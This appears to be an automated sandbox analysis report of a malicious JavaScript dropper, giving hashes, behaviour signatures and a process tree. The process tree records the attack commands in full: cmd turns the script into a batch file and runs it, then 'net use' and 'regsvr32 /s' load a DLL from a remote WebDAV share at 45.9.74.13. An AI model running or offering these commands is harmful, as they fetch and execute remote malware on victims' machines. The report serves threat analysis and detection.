Analysis

  • max time kernel
    93s
  • max time network
    95s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-07-2024 04:17

General

  • Target

    29980298661952420504.js

  • Size

    5KB

  • MD5

    ebabe2a2f43f3f24055a49ca602bc5fe

  • SHA1

    dacbdce1b2d3c037a6b28c841cbe565a0edd87e0

  • SHA256

    1493244d5d2e3f6e1dd70af0900f7dcad52e26e2b4e5ec55f8f882788b8da1dc

  • SHA512

    c3e85af6fb6014023028849379324099e04d4ee03ee967c3e2bc11a400baa7670254d08de08838cf3653a6f9a3ef0aa3332c73fb671293600e9346d3976ed65c

  • SSDEEP

    96:OX0IBi5g4gbMNXKOR7ORlMdvvU8L/ViQh1HujtFHuVEL1kfLI:ANfMNak7klMdj4Y1HujtFHuVEL1kfLI

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\29980298661952420504.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3556
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\29980298661952420504.js" "C:\Users\Admin\\eefzgv.bat" && "C:\Users\Admin\\eefzgv.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:116
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:4848
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\820.dll
          3⤵
            PID:5020

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\eefzgv.bat

        Filesize

        5KB

        MD5

        ebabe2a2f43f3f24055a49ca602bc5fe

        SHA1

        dacbdce1b2d3c037a6b28c841cbe565a0edd87e0

        SHA256

        1493244d5d2e3f6e1dd70af0900f7dcad52e26e2b4e5ec55f8f882788b8da1dc

        SHA512

        c3e85af6fb6014023028849379324099e04d4ee03ee967c3e2bc11a400baa7670254d08de08838cf3653a6f9a3ef0aa3332c73fb671293600e9346d3976ed65c